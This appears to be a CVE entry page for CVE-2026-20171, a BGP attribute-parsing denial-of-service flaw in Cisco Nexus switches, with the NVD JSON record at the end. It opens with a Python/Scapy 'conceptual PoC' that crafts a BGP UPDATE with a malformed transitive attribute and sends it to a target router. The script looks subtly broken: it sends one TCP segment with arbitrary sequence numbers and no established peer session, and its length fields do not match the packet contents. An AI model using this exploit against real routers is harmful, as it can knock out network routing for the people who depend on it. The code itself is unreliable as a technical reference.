CVE-2026-20171

#!/usr/bin/env python3 # This is a conceptual PoC for crafting a BGP update to trigger the parsing issue. # Requires Scapy installed. from scapy.all import * from scapy.contrib.bgp import BGPHeader, BGPUpdate, BGPPA def send_crafted_bgp_update(target_ip): # Construct a malicious BGP Update packet # Exploiting the transitive attribute parsing vulnerability # Note: Specific attribute values may vary based on actual vulnerability details ip_layer = IP(dst=target_ip) tcp_layer = TCP(dport=179, sport=12345, flags="PA", seq=1000, ack=2000) # BGP Header bgp_header = BGPHeader(marker=b'\xff'*16, len=50, type=2) # Type 2 = UPDATE # Path Attributes containing the malformed transitive attribute # Type 255 (Reserved) with Transitive flag set (0xC0) to trigger parsing logic malformed_attr = BGPPA(type=255, flags=0xC0, value=b'\x00\x01\x02\x03') bgp_update = BGPUpdate( withdrawn_routes_len=0, total_path_attr_len=6, # Length of the attribute header + value path_attrs=[malformed_attr], nlri=[] ) packet = ip_layer / tcp_layer / bgp_header / bgp_update print(f"[*] Sending crafted BGP packet to {target_ip}...") send(packet) if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP send_crafted_bgp_update(target)

{"cve": {"id": "CVE-2026-20171", "sourceIdentifier": "[email protected]", "published": "2026-05-20T17:16:19.813", "lastModified": "2026-05-20T17:30:40.450", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the Border Gateway Protocol (BGP) enforce-first-as feature of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an unauthenticated, remote attacker to trigger BGP peer flaps, resulting in a denial of service (DoS) condition.\r\n\r\nThis vulnerability is due to incorrect parsing of a transitive BGP attribute. An attacker could exploit this vulnerability by sending a crafted BGP update through an established BGP peer session. If the update propagates to an affected device, it could cause the device to drop the BGP session and flap with the BGP peer that is forwarding this update, resulting in a DoS condition."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-670"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bgp-iefab-3hb2pwtx", "source": "[email protected]"}]}}